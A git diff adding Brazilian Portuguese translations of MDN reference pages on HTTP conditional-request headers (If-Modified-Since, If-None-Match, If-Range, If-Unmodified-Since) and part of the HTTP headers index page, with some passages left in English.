--git a/files/pt-br/web/http/headers/if-modified-since/index.html b/files/pt-br/web/http/headers/if-modified-since/index.html new file mode 100644 index 0000000000..2b8f52775f --- /dev/null +++ b/files/pt-br/web/http/headers/if-modified-since/index.html @@ -0,0 +1,89 @@ +--- +title: If-Modified-Since +slug: Web/HTTP/Headers/If-Modified-Since +translation_of: Web/HTTP/Headers/If-Modified-Since +--- +<div>{{HTTPSidebar}}</div> + +<p>A requisição do cabeçalho HTTP <strong><code>If-Modified-Since</code></strong> torna a requisição condicional: o servidor enviará de volta o recurso solicitado, com um status {{HTTPStatus("200")}}, apenas se foi modificado pela ultima vez após a data fornecida. Se a requisição não foi modificada, a resposta será um {{HTTPStatus("304")}} sem qualquer corpo; o cabeçalho {{HTTPHeader("Last-Modified")}} irá conter a data da ultima modificação. Ao contrário {{HTTPHeader("If-Unmodified-Since")}}, <code>If-Modified-Since </code>pode ser apenas utilizado com um {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}.</p> + +<p>Quando utilizado em combinação com {{HTTPHeader("If-None-Match")}}, é ignorado, a menos que não suporte <code>If-None-Match</code>.</p> + +<p>O uso mais comum é para atualizar uma entidade em cache que não tem um {{HTTPHeader("ETag")}} associado.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">If-Modified-Since: <nome-dia>, <dia> <mês> <ano> <hora>:<minuto>:<segundo> GMT +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><nome-dia></dt> + <dd>Um entre "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (sensível ao caso).</dd> + <dt><dia></dt> + <dd>2 digitos, número do dia. Por exemplo "04" ou "23".</dd> + <dt><mês></dt> + <dd>Um entre "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensível ao caso).</dd> + <dt><ano></dt> + <dd>4 digitos, número do ano,. Por exemplo. "1990" ou "2016".</dd> + <dt><hora></dt> + <dd>2 digitos, número da hora. Por exemplo. "09" ou "23".</dd> + <dt><minuto></dt> + <dd>2 digiitos, número do minuto. Por exemplo. "04" ou "59".</dd> + <dt><segundos></dt> + <dd>2 digitos, número dos segundos, Por exemplo. "04" ou "59".</dd> + <dt><code>GMT</code></dt> + <dd> + <p>Horário de Greenwich (Greenwich Mean Time). Datas HTTP sempre são expressas em GMT, nunca em tempo local.</p> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7232", "If-Modified-Since", "3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">A tabela de compatibilidade nesta pagina é gerada a partir da estrutuda de dados. Se você deseja contribuir com os dados, por favor verifique em <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e nos envie um pull request.</p> + +<p>{{Compat("http.headers.If-Modified-Since")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("ETag")}}</li> + <li>{{HTTPHeader("If-Unmodified-since")}}</li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> +</ul> diff --git a/files/pt-br/web/http/headers/if-none-match/index.html b/files/pt-br/web/http/headers/if-none-match/index.html new file mode 100644 index 0000000000..fde8dcc764 --- /dev/null +++ b/files/pt-br/web/http/headers/if-none-match/index.html @@ -0,0 +1,96 @@ +--- +title: If-None-Match +slug: Web/HTTP/Headers/If-None-Match +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - Referencia + - Requisições Condicionais +translation_of: Web/HTTP/Headers/If-None-Match +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição HTTP <strong><code>If-None-Match</code></strong> faz uma requisição condicional. Para os métodos {{HTTPMethod("GET")}} e {{HTTPMethod("HEAD")}}, o servidor irá mandar de volta o recurso requisitado, com um código de status {{HTTPStatus("200")}}, somente se ele não tiver um {{HTTPHeader("ETag")}} correspondendo as <em>tags</em> dadas pela requisição. Para outros métodos, a requisição será processada somente o recurso existente eventualmente não possuir nenhuma<em> </em>{{HTTPHeader("ETag")}} correspondente nos valores listados.</p> + +<p>Quando a condição falha para métodos {{HTTPMethod("GET")}} e {{HTTPMethod("HEAD")}}, então o servidor deve returnar um código de status HTTP 304 (Not Modified). Para outros métodos que aplicam mudanças no lado do servidor, o código de status 412 (Precondition Failed) é utilizado. Note que o servidor gerando uma resposta 304 DEVE gerar qualquer um dos seguintes cabeçalhos que seriam enviados em uma resposta 200 (OK) para a mesma requisição: Cache-Control, Content-Location, Date, ETag, Expires, and Vary.</p> + +<p>A comparação com a {{HTTPHeader("ETag")}} guardada usa o <em>algoritmo de comparação fraco</em>, significa que dois arquivos são considerados idênticos se o conteúdo é equivalente — eles não precisam ser idênticos <em>byte</em> por <em>byte</em>. Por exemplo, duas páginas que diferem pela data de sua geração no rodapé ainda assim serão consideradas como idênticas.</p> + +<p>Quando usado em combinação com {{HTTPHeader("If-Modified-Since")}}, <strong><code>If-None-Match</code></strong> tem precedência (se o servidor suporta isso).</p> + +<p>Existem dois casos de uso comuns:</p> + +<ul> + <li>Para métodos {{HTTPMethod("GET")}} e {{HTTPMethod("HEAD")}}, para atualizar uma entidade cacheada que possui um {{HTTPHeader("ETag")}} associado.</li> + <li>Para outros métodos, e em particular para {{HTTPMethod("PUT")}}, <code>If-None-Match</code> usado com o valor <code>*</code> pode ser utilizado para salvar um arquivo que não se sabia existir, garantindo que outro <em>upload</em> não tenha acontecido anteriormente, perdendo os dados do <em>PUT</em> anterior; esse problema é uma variação do <a href="https://www.w3.org/1999/04/Editing/#3.1">problema de perda de atualização</a>.</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">If-None-Match: "<etag_value>" +If-None-Match: "<etag_value>", "<etag_value>", … +If-None-Match: *</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><etag_value></dt> + <dd><em>Tags</em> de entidade que representam unicamente os recursos requisitados. Eles são uma cadeia de caracteres ASCII colocados entre aspas duplas (como <code>"675af34563dc-tr34"</code>). Elas podem ser prefixadas por <code>W/</code> para indicar que o <em>algoritmo de comparação fraco</em> deve ser utilizado (Isso é inútil com <code>If-None-Match</code> por ele utilizar somente este algoritmo).</dd> + <dt><code>*</code></dt> + <dd>O asterísco é um valor especial representando qualquer recurso. Eles somente são úteis quando fazendo o <em>upload</em> de um recurso, geralmente com {{HTTPMethod("PUT")}}, para checar se outro recurso com a identidade já teve seu <em>upload</em> feito anteriormente.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">If-None-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" + +If-None-Match: W/"67ab43", "54ed21", "7892dd" + +If-None-Match: * +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7232", "If-None-Match", "3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.If-None-Match")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("ETag")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPStatus("304")}}<code> Not Modified</code></li> + <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> +</ul> diff --git a/files/pt-br/web/http/headers/if-range/index.html b/files/pt-br/web/http/headers/if-range/index.html new file mode 100644 index 0000000000..0ca997356d --- /dev/null +++ b/files/pt-br/web/http/headers/if-range/index.html @@ -0,0 +1,104 @@ +--- +title: If-Range +slug: Web/HTTP/Headers/If-Range +tags: + - Cabeçalho HTTP + - Cabeçalho de requisição + - HTTP + - Referencia + - Requisições Condicionais + - Requisições de Intervalo +translation_of: Web/HTTP/Headers/If-Range +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição HTTP <strong><code>If-Range</code></strong> faz uma requisição de intervalo condicional: se a condição é realizada, a requisição de intervalo será enviada e o servidor mandará de volta como resposta um {{HTTPStatus("206")}} <code>Partial Content</code> com o corpo apropriado. Se a condição não é realizada, a recurso inteiro é enviado de volta, com um código de status {{HTTPStatus("200")}} <code>OK</code>.</p> + +<p>Este cabeçalho pode ser usado ou com um validador {{HTTPHeader("Last-Modified")}}, ou com um {{HTTPHeader("ETag")}}, mas não com ambos.</p> + +<p>O caso de uso mais comum é continuar um <em>download</em>, para garantir que o recurso guardado não tenha sido modificado desde o último fragmento que foi recebido.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">If-Range: <nome-dia>, <dia> <mês> <ano> <hora>:<minuto>:<segundo> GMT +If-Range: <etag></pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><etag></dt> + <dd><em>Tags</em> de entidade que representam unicamente os recursos requisitados. Eles são uma cadeia de caracteres ASCII colocados entre aspas duplas (como <code>"675af34563dc-tr34"</code>). Elas podem ser prefixadas por <code>W/</code> para indicar que o <em>algoritmo de comparação fraco</em> deve ser utilizado.</dd> +</dl> + +<dl> + <dt><nome-dia></dt> + <dd>Um entre "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (sensível ao caso).</dd> + <dt><dia></dt> + <dd>2 digitos, número do dia. Por exemplo "04" ou "23".</dd> + <dt><mês></dt> + <dd>Um entre "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensível ao caso).</dd> + <dt><ano></dt> + <dd>4 digitos, número do ano,. Por exemplo. "1990" ou "2016".</dd> + <dt><hora></dt> + <dd>2 digitos, número da hora. Por exemplo. "09" ou "23".</dd> + <dt><minuto></dt> + <dd>2 digiitos, número do minuto. Por exemplo. "04" ou "59".</dd> + <dt><segundo></dt> + <dd>2 digitos, número dos segundo, Por exemplo. "04" ou "59".</dd> + <dt><code>GMT</code></dt> + <dd> + <p>Horário de Greenwich (Greenwich Mean Time). Datas HTTP sempre são expressas em GMT, nunca em tempo local.</p> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre class="notranslate">If-Range: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7233", "If-Range", "3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.If-Range")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("ETag")}}</li> + <li>{{HTTPHeader("Last-Modified")}}</li> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPStatus("206")}}<code> Partial Content</code></li> + <li><a href="/en-US/docs/Web/HTTP/Conditional_requests">Requisições Condicionais HTTP</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/if-unmodified-since/index.html b/files/pt-br/web/http/headers/if-unmodified-since/index.html new file mode 100644 index 0000000000..00d1001643 --- /dev/null +++ b/files/pt-br/web/http/headers/if-unmodified-since/index.html @@ -0,0 +1,95 @@ +--- +title: If-Unmodified-Since +slug: Web/HTTP/Headers/If-Unmodified-Since +translation_of: Web/HTTP/Headers/If-Unmodified-Since +--- +<div>{{HTTPSidebar}}</div> + +<p>A requisição <strong><code>If-Unmodified-Since</code></strong> do cabeçalho HTTP realiza uma requisição condicional: o servidor enviará de volta o recurso solicitado ou o aceitará no caso de um {{HTTPMethod("POST")}} ou non-{{Glossary("safe")}} método, somente se não tiver sido modificado pela última vez após a data especificada. Se a solicitação tiver sido modificada após a data já especificada, a resposta será um erro {{HTTPStatus("412")}} (Precondition Failed).</p> + +<p>A requisição</p> + +<p>There are two common use cases:</p> + +<ul> + <li>In conjunction with non-{{Glossary("safe")}} methods, like {{HTTPMethod("POST")}}, it can be used to implement an <a href="https://en.wikipedia.org/wiki/Optimistic_concurrency_control">optimistic concurrency control</a>, like done by some wikis: editions are rejected if the stored document has been modified since the original has been retrieved.</li> + <li>In conjunction with a range request with a {{HTTPHeader("If-Range")}} header, it can be used to ensure that the new fragment requested comes from an unmodified document.</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">If-Unmodified-Since: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><day-name></dt> + <dd>One of "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", or "Sun" (case-sensitive).</dd> + <dt><day></dt> + <dd>2 digit day number, e.g. "04" or "23".</dd> + <dt><month></dt> + <dd>One of "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (case sensitive).</dd> + <dt><year></dt> + <dd>4 digit year number, e.g. "1990" or "2016".</dd> + <dt><hour></dt> + <dd>2 digit hour number, e.g. "09" or "23".</dd> + <dt><minute></dt> + <dd>2 digit minute number, e.g. "04" or "59".</dd> + <dt><second></dt> + <dd>2 digit second number, e.g. "04" or "59".</dd> + <dt><code>GMT</code></dt> + <dd> + <p>Greenwich Mean Time. HTTP dates are always expressed in GMT, never in local time.</p> + </dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>If-Unmodified-Since: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7232", "If-Unmodified-Since", "3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_com_o_Browser">Compatibilidade com o Browser</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.If-Unmodified-Since")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Last-Modified")}}</li> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPStatus("412")}}<code> Precondition Failed</code></li> +</ul> diff --git a/files/pt-br/web/http/headers/index.html b/files/pt-br/web/http/headers/index.html new file mode 100644 index 0000000000..bb02e87319 --- /dev/null +++ b/files/pt-br/web/http/headers/index.html @@ -0,0 +1,370 @@ +--- +title: Cabeçalhos HTTP +slug: Web/HTTP/Headers +tags: + - Cabeçalhos + - HTTP + - Internet + - Networking + - Rede + - Referencia + - Web +translation_of: Web/HTTP/Headers +--- +<div> +<div>{{HTTPSidebar}}</div> +</div> + +<div>Os cabeçalhos HTTP permitem que o cliente e o servidor passem informações adicionais com a solicitação ou a resposta HTTP. Um cabeçalho de solicitação é composto por seu nome <em>case-insensitive</em> (não diferencia letras maiúsculas e minúsculas), seguido por dois pontos ':' e pelo seu valor (sem quebras de linha). Espaços em branco antes do valor serão ignorados.</div> + +<div></div> + +<p>Cabeçalhos proprietários personalizados podem ser adicionados usando o prefixo 'X-', mas essa convenção foi descontinuada em Junho de 2012, devido aos inconvenientes que causou quando os campos não-padronizados tornaram-se padronizados na <a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a>; outros estão listados em um <a href="http://www.iana.org/assignments/message-headers/perm-headers.html">registro IANA</a>, cujo o conteúdo original foi definido na <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. O IANA também mantém o <a href="http://www.iana.org/assignments/message-headers/prov-headers.html">registro das propostas de novas mensagens de cabeçalhos HTTP</a>.</p> + +<p>Cabeçalhos podem ser classificados de acordo com os seus contextos:</p> + +<ul> + <li>{{Glossary("General header" ,"Cabeçalho genérico")}}: Cabeçalhos que podem ser usados tanto em solicitações quanto em respostas, porém sem relação com os dados eventualmente transmitidos no corpo da mensagem.</li> + <li>{{Glossary( "Request header" ,"Cabeçalho de solicitação")}}: Cabeçalhos contendo mais informação sobre o recurso a ser obtido ou sobre o próprio cliente.</li> + <li>{{Glossary( "Response header" ,"Cabeçalho de resposta")}}: Cabeçalhos contendo informação adicional sobre a solicitação, como a sua localização ou sobre o servidor.</li> + <li>{{Glossary( "Entity header" ,"Cabeçalho de entidade")}}: Cabeçalhos contendo mais informação sobre o conteúdo da entidade, como o tamanho do conteúdo ou o seu <em>MIME-type</em>.</li> +</ul> + +<p>Cabeçalhos também podem ser classificados de acordo com a forma que são manipulados por <em>proxies</em>.</p> + +<dl> + <dt>End-to-end headers</dt> + <dd>Esses cabeçalhos devem ser transmitidos para o destinatário final da mensagem; isso é, o servidor em caso de solicitação ou o cliente caso resposta. <em>Proxies</em> intermediários devem reenviar cabeçalhos de <em>end-to-end</em> sem alterações e caches devem armazená-los.</dd> + <dt>Hop-by-hop headers</dt> + <dd>Esses cabeçalhos são significativos apenas para uma única conexão a nível de transporte e não devem ser reenviados por <em>proxies</em> ou armazenados em cache. Tais cabeçalhos são: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Observe que apenas cabeçalhos <em>hop-by-hop </em>podem ser definidos utilizando o cabeçalho genérico {{ httpheader("Connection") }}.</dd> +</dl> + +<p>A lista a seguir resume os cabeçalhos HTTP pela categoria de uso. Para uma lista alfabética, utilize o menu à esquerda.</p> + +<h2 id="Autenticação">Autenticação</h2> + +<dl> + <dt>{{HTTPHeader("WWW-Authenticate")}}</dt> + <dd>Define o método de autenticação que deve ser utilizado para conseguir acesso ao recurso.</dd> + <dt>{{HTTPHeader("Authorization")}}</dt> + <dd>Contém as credenciais para autenticar um User-Agent com o servidor.</dd> + <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt> + <dd>Define o método de autenticação que deve ser utilizado para conseguir acesso ao recurso por trás de um servidor Proxy.</dd> + <dt>{{HTTPHeader("Proxy-Authorization")}}</dt> + <dd>Contém as credenciais para autenticar um User-Agent com o servidor Proxy.</dd> +</dl> + +<h2 id="Caching">Caching</h2> + +<dl> + <dt>{{HTTPHeader("Age")}}</dt> + <dd>O tempo em segundos em que o objeto esteve em um cache de proxy.</dd> + <dt>{{HTTPHeader("Cache-Control")}}</dt> + <dd>Especifica diretivas para mecanismos de cache em requisições e respostas.</dd> + <dt>{{HTTPHeader("Expires")}}</dt> + <dd>A data/hora depois que a resposta é considerada obsoleta.</dd> + <dt>{{HTTPHeader("Pragma")}}</dt> + <dd>Cabeçalho específico da implementação que pode ter varios efeitos em qualquer lugar ao longo da sequência de requisição-resposta. Usado para compatibilidade de versões anteriores com caches HTTP/1.0 onde o header Cache-Control ainda não está presente.</dd> + <dt>{{HTTPHeader("Warning")}}</dt> + <dd>Um campo de alerta geral contendo informações sobre possíveis problemas.</dd> +</dl> + +<h2 id="Client_hints">Client hints</h2> + +<p>O recurso HTTP <a href="https://wiki.developer.mozilla.org/docs/Glossary/Client_hints">Client hints</a> ainda está em desenvolvimento. A documentação está disponível no site do <a href="https://httpwg.org/http-extensions/client-hints.html">HTTP working group.</a></p> + +<dl> + <dt>{{HTTPHeader("Accept-CH")}} {{experimental_inline}}</dt> + <dd>Os servidores podem dar suporte para o <a href="https://wiki.developer.mozilla.org/docs/Glossary/Client_hints">Client hints</a> usando o campo de cabeçalho Accept-CH ou um elemento HTML <meta> equivalente com atributo http-equiv ([HTML5]).</dd> + <dt>{{HTTPHeader("Accept-CH-Lifetime")}} {{experimental_inline}}</dt> + <dd>Os servidores podem solicitar ao cliente que lembre-se do conjunto de <a href="https://wiki.developer.mozilla.org/docs/Glossary/Client_hints">Client hints</a> que o servidor dá suporte por um período de tempo especificado, para permitir a entrega de <a href="https://wiki.developer.mozilla.org/docs/Glossary/Client_hints">Client hints</a> em solicitações seguidas ao servidor de origem([RFC6454]).</dd> + <dt>{{HTTPHeader("Content-DPR")}} {{experimental_inline}}</dt> + <dd><span class="tlid-translation translation" lang="pt"><span title="">Um número que indica a proporção entre pixels físicos sobre pixels CSS da resposta de imagem selecionada.</span></span></dd> + <dt>{{HTTPHeader("DPR")}} {{experimental_inline}}</dt> + <dd><span class="tlid-translation translation" lang="pt"><span title="">Um número que indica o Device Pixel Ratio (DPR) atual do cliente, que é a proporção dos pixels físicos sobre os pixels CSS (Seção 5.2 de </span></span><a href="https://httpwg.org/http-extensions/client-hints.html#CSSVAL"><cite>[CSSVAL]</cite></a><cite>) do viewport do layout </cite>(Seção 9.1.1 do <a href="https://httpwg.org/http-extensions/client-hints.html#CSS2"><cite>[CSS2]</cite></a>) no dispositivo.</dd> + <dt>{{HTTPHeader("Device-Memory")}} {{experimental_inline}}</dt> + <dd>Tecnicamente uma parte da API de Memória do Dispositivo (Device Memory API), este cabeçalho representa uma quantidade aproximada de RAM que o cliente possui.</dd> + <dt>{{HTTPHeader("Save-Data")}} {{experimental_inline}}</dt> + <dd>Um boleano que indica a preferência do agente do usuário pelo uso reduzido de dados.</dd> + <dt>{{HTTPHeader("Viewport-Width")}} {{experimental_inline}}</dt> + <dd>Um número que indica a largura em pixels do viewport do layout em pixels CSS. O valor em pixels disponibilizado é um número arredondado do menor inteiro seguinte. (i.e. valor ceiling).</dd> + <dd>Se <code>Viewport-Width</code> ocorrer em uma mensagem mais de uma vez, o último valor irá sobrescrever todas as ocorrências anteriores.</dd> + <dt>{{HTTPHeader("Width")}} {{experimental_inline}}</dt> + <dd>O campo <code>Width</code> no cabeçalho da requisição é um número que indica a largura desejada do recurso em pixels físicos (i.e. tamanho intrínseco da imagem). O valor do pixel provido é um número arredondado para o menor inteiro seguinte.</dd> + <dd><span class="tlid-translation translation" lang="pt"><span title="">Se a largura do recurso desejada não for conhecida no momento da solicitação ou o recurso não tiver uma largura de exibição, o campo <code>Width</code> poderá ser omitido do cabeçalho.</span> <span title="">Se <code>Width</code> ocorrer em uma mensagem mais de uma vez, o último valor irá sobrescrever todas as ocorrências anteriores.</span></span></dd> +</dl> + +<h2 id="Condicionais">Condicionais</h2> + +<dl> + <dt>{{HTTPHeader("Last-Modified")}}</dt> + <dd>É um validador, a última data de modificação de um recurso, usado para comparar várias versões de um mesmo recurso. É menos preciso que o {{HTTPHeader("ETag")}}, mas é mais fácil calcular em alguns ambientes. Requisições condicionais usando {{HTTPHeader("If-Modified-Since")}} e {{HTTPHeader("If-Unmodified-Since")}} usam esse valor para modificar o comportamento da requisição.</dd> + <dt>{{HTTPHeader("ETag")}}</dt> + <dd>É um validador, uma string única identificando a versão do recurso. Requisições condicionais usando {{HTTPHeader("If-Match")}} e {{HTTPHeader("If-None-Match")}} usam esse valor para modificar o comportamento da requisição.</dd> + <dt>{{HTTPHeader("If-Match")}}</dt> + <dd>Faz a requisição condicional e aplica o método apenas se o recurso armazenado corresponder a uma das ETags fornecidas.</dd> + <dt>{{HTTPHeader("If-None-Match")}}</dt> + <dd>Faz a requisição condicional e aplica o método apenas se o recurso armazenado não corresponder a nenhuma das ETags fornecidas. É usado para atualizar caches ( para requisições seguras), ou para prevenir o upload de um novo recurso quando este já existe.</dd> + <dt>{{HTTPHeader("If-Modified-Since")}}</dt> + <dd>Faz a requisição condicional e espera a entidade ser transmitida somente se tiver sido modificada após a data especificada. É usado para transmitir dados somente se o cache estiver desatualizado.</dd> + <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> + <dd>Faz a requisição condicional e espera a entidade ser transmitida somente se <strong>não </strong>tiver sido modificada após a data especificada. É usado para garantir a coerência de um novo fragmento de um intervalo específico com os anteriores, ou para implementar um Sistema de Controle de concorrência otimista ao modificar os documentos existentes.</dd> +</dl> + +<h2 id="Gerenciamento_de_Conexão">Gerenciamento de Conexão</h2> + +<dl> + <dt>{{HTTPHeader("Connection")}}</dt> + <dd>Controla se uma conexão de rede continua ou não aberta após o término da transação atual.</dd> + <dt>{{HTTPHeader("Keep-Alive")}}</dt> + <dd>Controla por quanto tempo uma conexão persistente deve permanecer aberta.</dd> +</dl> + +<h2 id="Negociação_de_conteúdo">Negociação de conteúdo</h2> + +<dl> + <dt>{{HTTPHeader("Accept")}}</dt> + <dd>Informa ao servidor sobre os tipos de dados que podem ser enviados de volta. Isto é MIME-type.</dd> + <dt>{{HTTPHeader("Accept-Charset")}}</dt> + <dd>Informa ao servidor sobre qual conjunto de caracter o cliente é capaz de entender.</dd> + <dt>{{HTTPHeader("Accept-Encoding")}}</dt> + <dd>Informa ao servidor sobre o algoritmo de codificação, geralmente um algoritmo de compressão, isto pode ser usado no recurso enviado de volta.</dd> + <dt>{{HTTPHeader("Accept-Language")}}</dt> + <dd>Informa ao servidor sobre a linguagem que é esperada que o servidor envie de volta. Esta é uma dica e não está necessariamente sob controle total do usuário: o servidor deve sempre prestar atenção para não sobrepor uma escolha explícita do usuário (como selecionar uma linguagem em uma lista suspensa).</dd> +</dl> + +<h2 id="Controles">Controles</h2> + +<dl> + <dt>{{HTTPHeader("Expect")}}</dt> + <dd>Indica expectativas que precisam ser atendidas pelo servidor para lidar adequadamente com a solicitação.</dd> + <dt>{{HTTPHeader("Max-Forwards")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Cookies">Cookies</h2> + +<dl> + <dt>{{HTTPHeader("Cookie")}}</dt> + <dd>Contém <a href="/pt-BR/docs/Web/HTTP/Cookies">cookies </a>HTTP armazenados previamente enviados pelo servidor com o cabeçalho {{HTTPHeader("Set-Cookie")}}.</dd> + <dt>{{HTTPHeader("Set-Cookie")}}</dt> + <dd>Envia cookies do servidor para o agente de usuário.</dd> + <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt> + <dd>Contém um cookie HTTP enviado anteriormente pelo servidor com o cabeçalho {{HTTPHeader("Set-Cookie2")}}, mas se tornou obsoleto pela especificação. Use {{HTTPHeader("Cookie")}} em vez disso.</dd> + <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt> + <dd>Envia cookies do servidor para o agente-usuário, mas se tornou obsoleto pela especificação. Use {{HTTPHeader("Set-Cookie")}} em vez disso.</dd> +</dl> + +<h2 id="CORS">CORS</h2> + +<dl> + <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt> + <dd>Indica se a resposta pode ser compartilhada.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt> + <dd>Indica se a resposta a requisição pode ou não ser exposta quando a flag de crendenciais é verdadeira.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt> + <dd>Usado na resposta para uma solicitação de comprovação ({{Glossary("Preflight_request", "preflight request")}}) para indicar quais cabeçalhos HTTP podem ser usados ao fazer a solicitação real.</dd> + <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt> + <dd>Especifica o método, ou métodos, permitido ao acessar o recurso em resposta à solicitação de comprovação ({{Glossary("Preflight_request", "preflight request")}}). </dd> + <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt> + <dd>Indica quais cabeçalhos podem ser expostos como parte da resposta listando seus nomes.</dd> + 